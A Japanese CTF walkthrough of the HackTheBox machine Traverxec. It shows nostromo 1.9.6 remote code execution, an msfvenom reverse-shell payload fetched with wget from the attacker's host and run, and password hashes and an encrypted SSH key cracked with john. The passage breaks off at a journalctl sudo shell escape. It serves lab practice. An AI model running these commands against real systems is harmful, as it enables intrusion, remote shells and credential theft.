HTB Traverxec Walkthrough

振り返り的な用途で、攻撃プロセスを書き出す。
※ HackTheBoxのTraverxecマシンに対するネタバレになるので、挑戦予定の方は🙅‍♂️
※ RetiredになったマシンのみWalkthroughの公開は可能です。

概要

https://www.hackthebox.eu/home/machines/profile/217

10.10.10.165

f:id:kyonta1022:20200514225549p:plain f:id:kyonta1022:20200514225606p:plain

Enumeration/CVE が要求されながらも、以前のマシンと比べると少し優しいのかな?という印象をうける。

偵察

Nmap Scan

一番最初にやるべきは、対象ホストにてどのようなサービスが稼働しているかの確認。

# nmap -A 10.10.10.165
Starting Nmap 7.70 ( https://nmap.org ) at 2020-02-28 22:45 JST
Nmap scan report for 10.10.10.165
Host is up (0.27s latency).
Not shown: 998 filtered ports
PORT   STATE SERVICE VERSION
22/tcp open  ssh     OpenSSH 7.9p1 Debian 10+deb10u1 (protocol 2.0)
| ssh-hostkey: 
|   2048 aa:99:a8:16:68:cd:41:cc:f9:6c:84:01:c7:59:09:5c (RSA)
|   256 93:dd:1a:23:ee:d7:1f:08:6b:58:47:09:73:a3:88:cc (ECDSA)
|_  256 9d:d6:62:1e:7a:fb:8f:56:92:e6:37:f1:10:db:9b:ce (ED25519)
80/tcp open  http    nostromo 1.9.6
|_http-server-header: nostromo 1.9.6
|_http-title: TRAVERXEC
Warning: OSScan results may be unreliable because we could not find at least 1 open and 1 closed port
Aggressive OS guesses: Linux 3.10 - 4.11 (92%), Linux 3.2 - 4.9 (92%), Linux 3.18 (90%), Crestron XPanel control system (90%), Linux 3.16 (89%), ASUS RT-N56U WAP (Linux 3.4) (87%), Linux 3.1 (87%), Linux 3.2 (87%), HP P2000 G3 NAS device (87%), AXIS 210A or 211 Network Camera (Linux 2.6.17) (87%)
No exact OS matches for host (test conditions non-ideal).
Network Distance: 2 hops
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

TRACEROUTE (using port 80/tcp)
HOP RTT       ADDRESS
1   164.99 ms 10.10.14.1
2   225.45 ms 10.10.10.165

OS and Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 86.93 seconds

脆弱性情報検索

OpenSSH 7.6p1に関しては、OpenAdminのときに使えそうな脆弱性がなかったので今回も対象外とした。
なので、脆弱性がありそうなサービス候補としてはnostromo 1.9.6だけになる。
適当にsearchsploitで検索したらヒットした。

# searchsploit nostromo 1.9.6
-------------------------------------------------------------------------------------------- ----------------------------------------
 Exploit Title                                                                              |  Path
                                                                                            | (/usr/share/exploitdb/)
-------------------------------------------------------------------------------------------- ----------------------------------------
nostromo 1.9.6 - Remote Code Execution                                                      | exploits/multiple/remote/47837.py
-------------------------------------------------------------------------------------------- ----------------------------------------
Shellcodes: No Result
Papers: No Result

半信半疑ながらもネットで検索してみたら、このような記事もヒットしたので多分使えるのだろう。
RCE脆弱性にさらされた Nostromo Web Server

侵入

Nostromo Web Server Exploit

searchsploitで見つけたPythonスクリプトを動かしてみる。

# cp /usr/share/exploitdb/exploits/multiple/remote/47837.py /root/.msf4/modules/exploits/poc/
# cd /root/.msf4/modules/exploits/poc/
# python 47837.py 

                                        _____-2019-16278
        _____  _______    ______   _____\    \   
   _____\    \_\      |  |      | /    / |    |  
  /     /|     ||     /  /     /|/    /  /___/|  
 /     / /____/||\    \  \    |/|    |__ |___|/  
|     | |____|/ \ \    \ |    | |       \        
|     |  _____   \|     \|    | |     __/ __     
|\     \|\    \   |\         /| |\    \  /  \    
| \_____\|    |   | \_______/ | | \____\/    |   
| |     /____/|    \ |     | /  | |    |____/|   
 \|_____|    ||     \|_____|/    \|____|   | |   
        |____|/                        |___|/    





Usage: cve2019-16278.py <Target_IP> <Target_Port> <Command>

ターゲットのIPとPortを指定してidコマンドを投げてみる。

# python 47837.py 10.10.10.165 80 id


                                        _____-2019-16278
        _____  _______    ______   _____\    \   
   _____\    \_\      |  |      | /    / |    |  
  /     /|     ||     /  /     /|/    /  /___/|  
 /     / /____/||\    \  \    |/|    |__ |___|/  
|     | |____|/ \ \    \ |    | |       \        
|     |  _____   \|     \|    | |     __/ __     
|\     \|\    \   |\         /| |\    \  /  \    
| \_____\|    |   | \_______/ | | \____\/    |   
| |     /____/|    \ |     | /  | |    |____/|   
 \|_____|    ||     \|_____|/    \|____|   | |   
        |____|/                        |___|/    




HTTP/1.1 200 OK
Date: Fri, 28 Feb 2020 13:58:46 GMT
Server: nostromo 1.9.6
Connection: close


uid=33(www-data) gid=33(www-data) groups=33(www-data)

サクッとwww-dataユーザでのコマンド実行が出来た。

ボッティング

www-data

毎回この形式でコマンド実行するのはシンドイので、reverse_tcpで常時接続しとくことにする。
ペイロードを作成して、公開する。

# msfvenom -p linux/x86/meterpreter/reverse_tcp LHOST=10.10.15.XX LPORT=4545 -f elf > shell.elf
# python -m SimpleHTTPServer

msfconsoleを使って待機する。

# msfconsole 
                                                  

MMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMM
MMMMMMMMMMM                MMMMMMMMMM
MMMN$                           vMMMM
MMMNl  MMMMM             MMMMM  JMMMM
MMMNl  MMMMMMMN       NMMMMMMM  JMMMM
MMMNl  MMMMMMMMMNmmmNMMMMMMMMM  JMMMM
MMMNI  MMMMMMMMMMMMMMMMMMMMMMM  jMMMM
MMMNI  MMMMMMMMMMMMMMMMMMMMMMM  jMMMM
MMMNI  MMMMM   MMMMMMM   MMMMM  jMMMM
MMMNI  MMMMM   MMMMMMM   MMMMM  jMMMM
MMMNI  MMMNM   MMMMMMM   MMMMM  jMMMM
MMMNI  WMMMM   MMMMMMM   MMMM#  JMMMM
MMMMR  ?MMNM             MMMMM .dMMMM
MMMMNm `?MMM             MMMM` dMMMMM
MMMMMMN  ?MM             MM?  NMMMMMN
MMMMMMMMNe                 JMMMMMNMMM
MMMMMMMMMMNm,            eMMMMMNMMNMM
MMMMNNMNMMMMMNx        MMMMMMNMMNMMNM
MMMMMMMMNMMNMMMMm+..+MMNMMNMNMMNMMNMM
        https://metasploit.com


       =[ metasploit v5.0.2-dev                           ]
+ -- --=[ 1855 exploits - 1046 auxiliary - 325 post       ]
+ -- --=[ 541 payloads - 44 encoders - 10 nops            ]
+ -- --=[ 2 evasion                                       ]
+ -- --=[ ** This is Metasploit 5 development branch **   ]

msf5 > use exploit/multi/handler 
msf5 exploit(multi/handler) > show options 

Module options (exploit/multi/handler):

   Name  Current Setting  Required  Description
   ----  ---------------  --------  -----------


Exploit target:

   Id  Name
   --  ----
   0   Wildcard Target

msf5 exploit(multi/handler) > set LPORT 4545
LPORT => 4545
msf5 exploit(multi/handler) > set payload linux/x86/meterpreter/reverse_tcp
payload => linux/x86/meterpreter/reverse_tcp
msf5 exploit(multi/handler) > set LHOST 10.10.15.XX
LHOST => 10.10.15.XX
msf5 exploit(multi/handler) > exploit 

対象ホストでペイロードを実行する。

# python 47837.py 10.10.10.165 80 "wget -P /tmp http://10.10.15.XX:8000/shell.elf”
# python 47837.py 10.10.10.165 80 "cd /tmp; chmod +x shell.elf; ./shell.elf"

いつも通り、自分が何者で、今居る場所やホームディレクトリについての情報を収集する。

$ pwd
/usr/bin

$ ls -al
total 62048
drwxr-xr-x  2 root root      20480 Nov 12 04:56 .
drwxr-xr-x 13 root root       4096 Oct 25 14:15 ..
-rwxr-xr-x  1 root root         96 Apr  5  2019 2to3-2.7
-rwxr-xr-x  1 root root      60064 Feb 28  2019 [
-rwxr-xr-x  1 root root      30936 Mar 30  2019 aa-enabled
-rwxr-xr-x  1 root root      30936 Mar 30  2019 aa-exec
-rwxr-xr-x  1 root root      26704 Jan 10  2019 addpart
...(省略)

ユーザ情報を確認する

$ id
uid=33(www-data) gid=33(www-data) groups=33(www-data)

ホームディレクトリを確認する

$ ls -al /var/www
ls: cannot access '/var/www': No such file or directory

historyを確認する

$ history
sh: 3: history: not found

sudo確認

$ sudo -l

We trust you have received the usual lecture from the local System
Administrator. It usually boils down to these three things:

    #1) Respect the privacy of others.
    #2) Think before you type.
    #3) With great power comes great responsibility.

sudo: no tty present and no askpass program specified

passwdファイル確認

$ cat /etc/passwd
root:x:0:0:root:/root:/bin/bash
daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin
bin:x:2:2:bin:/bin:/usr/sbin/nologin
sys:x:3:3:sys:/dev:/usr/sbin/nologin
sync:x:4:65534:sync:/bin:/bin/sync
games:x:5:60:games:/usr/games:/usr/sbin/nologin
man:x:6:12:man:/var/cache/man:/usr/sbin/nologin
lp:x:7:7:lp:/var/spool/lpd:/usr/sbin/nologin
mail:x:8:8:mail:/var/mail:/usr/sbin/nologin
news:x:9:9:news:/var/spool/news:/usr/sbin/nologin
uucp:x:10:10:uucp:/var/spool/uucp:/usr/sbin/nologin
proxy:x:13:13:proxy:/bin:/usr/sbin/nologin
www-data:x:33:33:www-data:/var/www:/usr/sbin/nologin
backup:x:34:34:backup:/var/backups:/usr/sbin/nologin
list:x:38:38:Mailing List Manager:/var/list:/usr/sbin/nologin
irc:x:39:39:ircd:/var/run/ircd:/usr/sbin/nologin
gnats:x:41:41:Gnats Bug-Reporting System (admin):/var/lib/gnats:/usr/sbin/nologin
nobody:x:65534:65534:nobody:/nonexistent:/usr/sbin/nologin
_apt:x:100:65534::/nonexistent:/usr/sbin/nologin
systemd-timesync:x:101:102:systemd Time Synchronization,,,:/run/systemd:/usr/sbin/nologin
systemd-network:x:102:103:systemd Network Management,,,:/run/systemd:/usr/sbin/nologin
systemd-resolve:x:103:104:systemd Resolver,,,:/run/systemd:/usr/sbin/nologin
messagebus:x:104:110::/nonexistent:/usr/sbin/nologin
sshd:x:105:65534::/run/sshd:/usr/sbin/nologin
david:x:1000:1000:david,,,:/home/david:/bin/bash
systemd-coredump:x:999:999:systemd Core Dumper:/:/usr/sbin/nologin

groupファイル確認

$ cat /etc/group
root:x:0:
daemon:x:1:
bin:x:2:
sys:x:3:
adm:x:4:syslog
tty:x:5:
disk:x:6:
lp:x:7:
mail:x:8:
news:x:9:
uucp:x:10:
man:x:12:
proxy:x:13:
kmem:x:15:
dialout:x:20:
fax:x:21:
voice:x:22:
cdrom:x:24:
floppy:x:25:
tape:x:26:
sudo:x:27:
audio:x:29:
dip:x:30:
www-data:x:33:
backup:x:34:
operator:x:37:
list:x:38:
irc:x:39:
src:x:40:
gnats:x:41:
shadow:x:42:
utmp:x:43:
video:x:44:
sasl:x:45:
plugdev:x:46:
staff:x:50:
games:x:60:
users:x:100:
nogroup:x:65534:
systemd-journal:x:101:
systemd-network:x:102:
systemd-resolve:x:103:
input:x:104:
crontab:x:105:
syslog:x:106:
messagebus:x:107:
lxd:x:108:
mlocate:x:109:
uuidd:x:110:
ssh:x:111:
landscape:x:112:
jimmy:x:1000:
ssl-cert:x:113:
mysql:x:114:
joanna:x:1001:
internal:x:1002:jimmy,joanna
netdev:x:115:

鍵を握るのは色々なグループに所属しているdavidユーザの雰囲気。
権限を昇格するための候補が他にもいそうか、homeディレクトリを確認する。

$ ls -al /home
total 12
drwxr-xr-x  3 root  root  4096 Oct 25 14:32 .
drwxr-xr-x 18 root  root  4096 Oct 25 14:17 ..
drwx--x--x  5 david david 4096 Oct 25 17:02 david

色々探索した上で、/varを調べていると、足掛かりになりそうなファイルを発見。

$ find /var
...
/var/nostromo/conf/.htpasswd
/var/nostromo/conf/nhttpd.conf

nhttpdの設定ファイルとかは/var/nostromoに入っているのか。
一応確認しとく。

$ cat /var/nostromo/conf/nhttpd.conf
# MAIN [MANDATORY]

servername      traverxec.htb
serverlisten        *
serveradmin     david@traverxec.htb
serverroot      /var/nostromo
servermimes     conf/mimes
docroot         /var/nostromo/htdocs
docindex        index.html

# LOGS [OPTIONAL]

logpid          logs/nhttpd.pid

# SETUID [RECOMMENDED]

user            www-data

# BASIC AUTHENTICATION [OPTIONAL]

htaccess        .htaccess
htpasswd        /var/nostromo/conf/.htpasswd

# ALIASES [OPTIONAL]

/icons          /var/nostromo/icons

# HOMEDIRS [OPTIONAL]

homedirs        /home
homedirs_public     public_www

.htpasswdを確認。

$ cat /var/nostromo/conf/.htpasswd

david:$1$e7NfNpNi$A6nCwOTqrNR2oDuIKirRZ/

davidのハッシュ化されたパスワードを手に入れる。 何のアルゴリズムでハッシュ化されているのかわからなかったので調べてみることにする。
どんなものがあるのかをopensslで確認。

# openssl passwd -help
Usage: passwd [options]
Valid options are:
 -help               Display this summary
 -in infile          Read passwords from file
 -noverify           Never verify when reading password from terminal
 -quiet              No warnings
 -table              Format output as table
 -reverse            Switch table columns
 -salt val           Use provided salt
 -stdin              Read passwords from stdin
 -6                  SHA512-based password algorithm
 -5                  SHA256-based password algorithm
 -apr1               MD5-based password algorithm, Apache variant
 -1                  MD5-based password algorithm
 -aixmd5             AIX MD5-based password algorithm
 -crypt              Standard Unix password algorithm (default)
 -rand val           Load the file(s) into the random number generator
 -writerand outfile  Write random data to the specified file

-1 MD5-based password algorithmかな?と思うので試しに生成してみる。

root@kali-linux:~/sandbox# openssl passwd -1 test
$1$S6a/wZpn$5mjTTqM/R4V51jP8pxEmj/

MD5のようだ。
johnで確認する場合は、以下のコマンドで確認可能。

# john --list=formats 
descrypt, bsdicrypt, md5crypt, bcrypt, scrypt, LM, AFS, tripcode, 
AndroidBackup, adxcrypt, agilekeychain, aix-ssha1, aix-ssha256, aix-ssha512, 
andOTP, ansible, argon2, as400-des, as400-ssha1, asa-md5, AxCrypt, AzureAD, 
BestCrypt, bfegg, Bitcoin, BitLocker, bitshares, Bitwarden, BKS, 
Blackberry-ES10, WoWSRP, Blockchain, chap, Clipperz, cloudkeychain, 
dynamic_n, cq, CRC32, sha1crypt, sha256crypt, sha512crypt, Citrix_NS10, 
dahua, dashlane, Django, django-scrypt, dmd5, dmg, dominosec, dominosec8, 
DPAPImk, dragonfly3-32, dragonfly3-64, dragonfly4-32, dragonfly4-64, Drupal7, 
eCryptfs, eigrp, electrum, EncFS, enpass, EPI, EPiServer, ethereum, fde, 
Fortigate256, Fortigate, FormSpring, FVDE, geli, gost, gpg, HAVAL-128-4, 
HAVAL-256-3, hdaa, hMailServer, hsrp, IKE, ipb2, itunes-backup, iwork, 
KeePass, keychain, keyring, keystore, known_hosts, krb4, krb5, krb5asrep, 
krb5pa-sha1, krb5tgs, krb5-17, krb5-18, krb5-3, kwallet, lp, lpcli, leet, 
lotus5, lotus85, LUKS, MD2, mdc2, MediaWiki, monero, money, MongoDB, scram, 
Mozilla, mscash, mscash2, MSCHAPv2, mschapv2-naive, krb5pa-md5, mssql, 
mssql05, mssql12, multibit, mysqlna, mysql-sha1, mysql, net-ah, nethalflm, 
netlm, netlmv2, net-md5, netntlmv2, netntlm, netntlm-naive, net-sha1, nk, 
notes, md5ns, nsec3, NT, o10glogon, o3logon, o5logon, ODF, Office, oldoffice, 
OpenBSD-SoftRAID, openssl-enc, oracle, oracle11, Oracle12C, osc, ospf, 
Padlock, Palshop, Panama, PBKDF2-HMAC-MD4, PBKDF2-HMAC-MD5, PBKDF2-HMAC-SHA1, 
PBKDF2-HMAC-SHA256, PBKDF2-HMAC-SHA512, PDF, PEM, pfx, pgpdisk, pgpsda, 
pgpwde, phpass, PHPS, PHPS2, pix-md5, PKZIP, po, pomelo, postgres, PST, 
PuTTY, pwsafe, qnx, RACF, RACF-KDFAES, radius, RAdmin, RAKP, rar, RAR5, 
Raw-SHA512, Raw-Blake2, Raw-Keccak, Raw-Keccak-256, Raw-MD4, Raw-MD5, 
Raw-MD5u, Raw-SHA1, Raw-SHA1-AxCrypt, Raw-SHA1-Linkedin, Raw-SHA224, 
Raw-SHA256, Raw-SHA256-ng, Raw-SHA3, Raw-SHA384, Raw-SHA512-ng, ripemd-128, 
ripemd-160, rsvp, Siemens-S7, Salted-SHA1, SSHA512, sapb, sapg, saph, sappse, 
securezip, 7z, Raw-SHA1-ng, Signal, SIP, skein-256, skein-512, skey, SL3, 
aix-smd5, Snefru-128, Snefru-256, LastPass, SNMP, solarwinds, SSH, sspr, 
Stribog-256, Stribog-512, STRIP, SunMD5, SybaseASE, Sybase-PROP, tacacs-plus, 
tcp-md5, telegram, tezos, Tiger, tc_aes_xts, tc_ripemd160, tc_ripemd160boot, 
tc_sha512, tc_whirlpool, vdi, OpenVMS, VNC, vtp, wbb3, whirlpool, whirlpool0, 
whirlpool1, wpapsk, wpapsk-pmk, xmpp-scram, xsha, xsha512, ZIP, ZipMonster, 
plaintext, has-160, HMAC-MD5, HMAC-SHA1, HMAC-SHA224, HMAC-SHA256, 
HMAC-SHA384, HMAC-SHA512, NT-old, dummy, crypt

解析してみる。
--formatを指定しなくてもjohnで勝手に判定してくれた。

# john --format=md5crypt --wordlist=SecLists/Passwords/Leaked-Databases/rockyou.txt david.passwd 
Using default input encoding: UTF-8
Loaded 1 password hash (md5crypt, crypt(3) $1$ [MD5 256/256 AVX2 8x3])
Will run 2 OpenMP threads
Press 'q' or Ctrl-C to abort, almost any other key for status
Nowonly4me       (david)
1g 0:00:01:20 DONE (2020-03-02 20:45) 0.01243g/s 131537p/s 131537c/s 131537C/s Noyoo..Novac
Use the "--show" option to display all of the cracked passwords reliably
Session completed

Success: Nowonly4me
早速、sshでログインを試す。

# ssh david@10.10.10.165
The authenticity of host '10.10.10.165 (10.10.10.165)' can't be established.
ECDSA key fingerprint is SHA256:CiO/pUMzd+6bHnEhA2rAU30QQiNdWOtkEPtJoXnWzVo.
Are you sure you want to continue connecting (yes/no)? yes
Warning: Permanently added '10.10.10.165' (ECDSA) to the list of known hosts.
david@10.10.10.165's password: 
Permission denied, please try again.

悲しみ。 まさか前回みたいにログインが禁止されているユーザなの?

$ cat /etc/ssh/ssh_config

# This is the ssh client system-wide configuration file.  See
# ssh_config(5) for more information.  This file provides defaults for
# users, and the values can be changed in per-user configuration files
# or on the command line.

# Configuration data is parsed as follows:
#  1. command line options
#  2. user-specific file
#  3. system-wide file
# Any configuration value is only changed the first time it is set.
# Thus, host-specific definitions should be at the beginning of the
# configuration file, and defaults at the end.

# Site-wide defaults for some commonly used options.  For a comprehensive
# list of available options, their meanings and defaults, please see the
# ssh_config(5) man page.

Host *
#   ForwardAgent no
#   ForwardX11 no
#   ForwardX11Trusted yes
#   PasswordAuthentication yes
#   HostbasedAuthentication no
#   GSSAPIAuthentication no
#   GSSAPIDelegateCredentials no
#   GSSAPIKeyExchange no
#   GSSAPITrustDNS no
#   BatchMode no
#   CheckHostIP yes
#   AddressFamily any
#   ConnectTimeout 0
#   StrictHostKeyChecking ask
#   IdentityFile ~/.ssh/id_rsa
#   IdentityFile ~/.ssh/id_dsa
#   IdentityFile ~/.ssh/id_ecdsa
#   IdentityFile ~/.ssh/id_ed25519
#   Port 22
#   Protocol 2
#   Ciphers aes128-ctr,aes192-ctr,aes256-ctr,aes128-cbc,3des-cbc
#   MACs hmac-md5,hmac-sha1,umac-64@openssh.com
#   EscapeChar ~
#   Tunnel no
#   TunnelDevice any:any
#   PermitLocalCommand no
#   VisualHostKey no
#   ProxyCommand ssh -q -W %h:%p gateway.example.com
#   RekeyLimit 1G 1h
    SendEnv LANG LC_*
    HashKnownHosts yes
    GSSAPIAuthentication yes

そうではないらしい。
しばらく探索したものの成果0のため、原点に戻りそもそもnhttpdとはどんな感じで設定項目とかあるんだろうと眺めることに。
ドキュメント: https://www.gsp.com/cgi-bin/man.cgi?section=8&topic=nhttpd
すると、

HOMEDIRS HTTPを介してユーザーのホームディレクトリを提供するには、ホームディレクトリが格納されているパス(通常は/ home)を定義してhomedirsオプションを有効にし ます。ユーザーのホームディレクトリにアクセスするには、URLに〜を入力し、この例のようにホームディレクトリ名を入力します。 http://www.nazgul.ch/~hacki/ ホームディレクトリのコンテンツは、ドキュメントルートのディレクトリとまったく同じ方法で処理されます。一部のユーザーがホームディレクトリにHTTP経由でアクセスすることを望まない場合、ユーザーはホームディレクトリの誰でも読み取り可能なフラグを削除し、発信者は403 Forbidden応答を受け取ります。また、基本認証が有効になっている場合、ユーザーは自分のホームディレクトリに.htaccessファイルを作成でき、呼び出し元は認証する必要があります。 homedirs_publicオプション を使用して定義することにより、ホームディレクトリ内のアクセスを単一のサブディレクトリに 制限できます。

なかなかに気になる内容を発見。
そいえば、davidのホームディレクトリにotherで xパーミッションがついてるの気になってたんだよな。

# HOMEDIRS [OPTIONAL]

homedirs        /home
homedirs_public     public_www

設定ファイルに記載されていた内容は/~david/public_wwwの形式でアクセスできるのか?
画面からアクセスしてみる。

/~david/ f:id:kyonta1022:20200514230511p:plain

/~david/public_www/

404 Not Found
nostromo 1.9.6 at 10.10.10.165 Port 80

可能性は感じつつ、有益な情報は得られない。直接ディレクトリにアクセスしてみる。

cd /home/david/public_www
pwd
/home/david/public_www

移動できた。
read権限はあるのだろうか?

ls -al
total 16
drwxr-xr-x 3 david david 4096 Oct 25 15:45 .
drwx--x--x 6 david david 4096 Mar  3 01:28 ..
-rw-r--r-- 1 david david  402 Oct 25 15:45 index.html
drwxr-xr-x 2 david david 4096 Oct 25 17:02 protected-file-area

気になるディレクトリは一個しかないのでアクセスしてみる。

cd protected-file-area
ls -al
total 16
drwxr-xr-x 2 david david 4096 Oct 25 17:02 .
drwxr-xr-x 3 david david 4096 Oct 25 15:45 ..
-rw-r--r-- 1 david david   45 Oct 25 15:46 .htaccess
-rw-r--r-- 1 david david 1915 Oct 25 17:02 backup-ssh-identity-files.tgz

秘密鍵/tmpにコピーして展開する。

cp backup-ssh-identity-files.tgz /tmp

tar -zxvf backup-ssh-identity-files.tgz
home/david/.ssh/
home/david/.ssh/authorized_keys
home/david/.ssh/id_rsa
home/david/.ssh/id_rsa.pub

秘密鍵をみてみる。

cat home/david/.ssh/id_rsa
-----BEGIN RSA PRIVATE KEY-----
Proc-Type: 4,ENCRYPTED
DEK-Info: AES-128-CBC,477EEFFBA56F9D283D349033D5D08C4F

seyeH/feG19TlUaMdvHZK/2qfy8pwwdr9sg75x4hPpJJ8YauhWorCN4LPJV+wfCG
tuiBPfZy+ZPklLkOneIggoruLkVGW4k4651pwekZnjsT8IMM3jndLNSRkjxCTX3W
KzW9VFPujSQZnHM9Jho6J8O8LTzl+s6GjPpFxjo2Ar2nPwjofdQejPBeO7kXwDFU
RJUpcsAtpHAbXaJI9LFyX8IhQ8frTOOLuBMmuSEwhz9KVjw2kiLBLyKS+sUT9/V7
HHVHW47Y/EVFgrEXKu0OP8rFtYULQ+7k7nfb7fHIgKJ/6QYZe69r0AXEOtv44zIc
Y1OMGryQp5CVztcCHLyS/9GsRB0d0TtlqY2LXk+1nuYPyyZJhyngE7bP9jsp+hec
dTRqVqTnP7zI8GyKTV+KNgA0m7UWQNS+JgqvSQ9YDjZIwFlA8jxJP9HsuWWXT0ZN
6pmYZc/rNkCEl2l/oJbaJB3jP/1GWzo/q5JXA6jjyrd9xZDN5bX2E2gzdcCPd5qO
xwzna6js2kMdCxIRNVErnvSGBIBS0s/OnXpHnJTjMrkqgrPWCeLAf0xEPTgktqi1
Q2IMJqhW9LkUs48s+z72eAhl8naEfgn+fbQm5MMZ/x6BCuxSNWAFqnuj4RALjdn6
i27gesRkxxnSMZ5DmQXMrrIBuuLJ6gHgjruaCpdh5HuEHEfUFqnbJobJA3Nev54T
fzeAtR8rVJHlCuo5jmu6hitqGsjyHFJ/hSFYtbO5CmZR0hMWl1zVQ3CbNhjeIwFA
bzgSzzJdKYbGD9tyfK3z3RckVhgVDgEMFRB5HqC+yHDyRb+U5ka3LclgT1rO+2so
uDi6fXyvABX+e4E4lwJZoBtHk/NqMvDTeb9tdNOkVbTdFc2kWtz98VF9yoN82u8I
Ak/KOnp7lzHnR07dvdD61RzHkm37rvTYrUexaHJ458dHT36rfUxafe81v6l6RM8s
9CBrEp+LKAA2JrK5P20BrqFuPfWXvFtROLYepG9eHNFeN4uMsuT/55lbfn5S41/U
rGw0txYInVmeLR0RJO37b3/haSIrycak8LZzFSPUNuwqFcbxR8QJFqqLxhaMztua
4mOqrAeGFPP8DSgY3TCloRM0Hi/MzHPUIctxHV2RbYO/6TDHfz+Z26ntXPzuAgRU
/8Gzgw56EyHDaTgNtqYadXruYJ1iNDyArEAu+KvVZhYlYjhSLFfo2yRdOuGBm9AX
JPNeaxw0DX8UwGbAQyU0k49ePBFeEgQh9NEcYegCoHluaqpafxYx2c5MpY1nRg8+
XBzbLF9pcMxZiAWrs4bWUqAodXfEU6FZv7dsatTa9lwH04aj/5qxEbJuwuAuW5Lh
hORAZvbHuIxCzneqqRjS4tNRm0kF9uI5WkfK1eLMO3gXtVffO6vDD3mcTNL1pQuf
SP0GqvQ1diBixPMx+YkiimRggUwcGnd3lRBBQ2MNwWt59Rri3Z4Ai0pfb1K7TvOM
j1aQ4bQmVX8uBoqbPvW0/oQjkbCvfR4Xv6Q+cba/FnGNZxhHR8jcH80VaNS469tt
VeYniFU/TGnRKDYLQH2x0ni1tBf0wKOLERY0CbGDcquzRoWjAmTN/PV2VbEKKD/w
-----END RSA PRIVATE KEY-----

補足:その後以下のURLにアクセスしたら閲覧出来た。 /~david/protected-file-area f:id:kyonta1022:20200514230418p:plain f:id:kyonta1022:20200514230424p:plain

david

今度こそログインできるだろう。

root@kali-linux:~/sandbox# ssh -i david.id_rsa david@10.10.10.165
Enter passphrase for key 'david.id_rsa': 

パスフレーズが必要なので、解析する。

# john --wordlist=./SecLists/Passwords/Leaked-Databases/rockyou.txt david.id_rsa.hash 
Using default input encoding: UTF-8
Loaded 1 password hash (SSH [RSA/DSA/EC/OPENSSH (SSH private keys) 32/64])
Cost 1 (KDF/cipher [0=MD5/AES 1=MD5/3DES 2=Bcrypt/AES]) is 0 for all loaded hashes
Cost 2 (iteration count) is 1 for all loaded hashes
Will run 2 OpenMP threads
Note: This format may emit false positives, so it will keep trying even after
finding a possible candidate.
Press 'q' or Ctrl-C to abort, almost any other key for status
hunter           (david.id_rsa)
Warning: Only 1 candidates left, minimum 2 needed for performance.
1g 0:00:00:07 DONE (2020-03-03 15:45) 0.1398g/s 2005Kp/s 2005Kc/s 2005KC/s *7¡Vamos!
Session completed

davidでの侵入成功

# ssh -i david.id_rsa david@10.10.10.165
Enter passphrase for key 'david.id_rsa': 
Linux traverxec 4.19.0-6-amd64 #1 SMP Debian 4.19.67-2+deb10u1 (2019-09-20) x86_64
Last login: Tue Mar  3 01:30:08 2020 from 10.10.14.214

david@traverxec:~$ ls -al
total 36
drwx--x--x 5 david david 4096 Oct 25 17:02 .
drwxr-xr-x 3 root  root  4096 Oct 25 14:32 ..
lrwxrwxrwx 1 root  root     9 Oct 25 16:15 .bash_history -> /dev/null
-rw-r--r-- 1 david david  220 Oct 25 14:32 .bash_logout
-rw-r--r-- 1 david david 3526 Oct 25 14:32 .bashrc
drwx------ 2 david david 4096 Oct 25 16:26 bin
-rw-r--r-- 1 david david  807 Oct 25 14:32 .profile
drwxr-xr-x 3 david david 4096 Oct 25 15:45 public_www
drwx------ 2 david david 4096 Oct 25 17:02 .ssh
-r--r----- 1 root  david   33 Oct 25 16:14 user.txt

フラグを確認する。

david@traverxec:~$ cat user.txt 
7db0b48469606a42cec207xxxxxxxxxx

sudo権限確認

$ sudo -l
[sudo] password for david: 

id確認

$ id
uid=1000(david) gid=1000(david) groups=1000(david),24(cdrom),25(floppy),29(audio),30(dip),44(video),46(plugdev),109(netdev)

ホームディレクトリでbinと言うあからさまなディレクトリがあるので覗く。

$ cd bin
david@traverxec:~/bin$ ls -al
total 16
drwx------ 2 david david 4096 Oct 25 16:26 .
drwx--x--x 5 david david 4096 Oct 25 17:02 ..
-r-------- 1 david david  802 Oct 25 16:26 server-stats.head
-rwx------ 1 david david  363 Oct 25 16:26 server-stats.sh

binに入ってるシェルを実行してみる

$ cat server-stats.sh 
#!/bin/bash

cat /home/david/bin/server-stats.head
echo "Load: `/usr/bin/uptime`"
echo " "
echo "Open nhttpd sockets: `/usr/bin/ss -H sport = 80 | /usr/bin/wc -l`"
echo "Files in the docroot: `/usr/bin/find /var/nostromo/htdocs/ | /usr/bin/wc -l`"
echo " "
echo "Last 5 journal log lines:"
/usr/bin/sudo /usr/bin/journalctl -n5 -unostromo.service | /usr/bin/cat 
$ sh server-stats.sh 
                                                                          .----.
                                                              .---------. | == |
   Webserver Statistics and Data                              |.-"""""-.| |----|
         Collection Script                                    ||       || | == |
          (c) David, 2019                                     ||       || |----|
                                                              |'-.....-'| |::::|
                                                              '"")---(""' |___.|
                                                             /:::::::::::\"    "
                                                            /:::=======:::\
                                                        jgs '"""""""""""""' 

Load:  17:45:50 up  1:05,  3 users,  load average: 0.00, 0.00, 0.00
 
Open nhttpd sockets: 8
Files in the docroot: 117
 
Last 5 journal log lines:
-- Logs begin at Tue 2020-03-03 16:40:23 EST, end at Tue 2020-03-03 17:45:50 EST. --
Mar 03 17:26:23 traverxec sudo[9752]: www-data : command not allowed ; TTY=pts/0 ; PWD=/tmp ; USER=root ; COMMAND=list
Mar 03 17:44:43 traverxec su[16168]: pam_unix(su:auth): authentication failure; logname= uid=33 euid=0 tty=pts/4 ruser=www-data rhost=  user=root
Mar 03 17:44:45 traverxec su[16168]: FAILED SU (to root) www-data on pts/4
Mar 03 17:45:01 traverxec su[16182]: pam_unix(su:auth): authentication failure; logname= uid=33 euid=0 tty=pts/4 ruser=www-data rhost=  user=david
Mar 03 17:45:02 traverxec su[16182]: FAILED SU (to david) www-data on pts/4

journalctlについて色々調べてみる。

sudoでroot権限での実行もできるので、脆弱性か特権昇格系何かあるか調べる。
検索ワードはsudo journalctl exploit

検索の上位に面白いサイトを見つけた。

GTFOBinsは、攻撃者が悪用してローカルのセキュリティ制限を回避できるUnixバイナリの厳選されたリストです https://gtfobins.github.io/

journalctlコマンドを見てみると、shを使う方法が紹介されていた。

journalctl
!/bin/sh

早速使ってみる

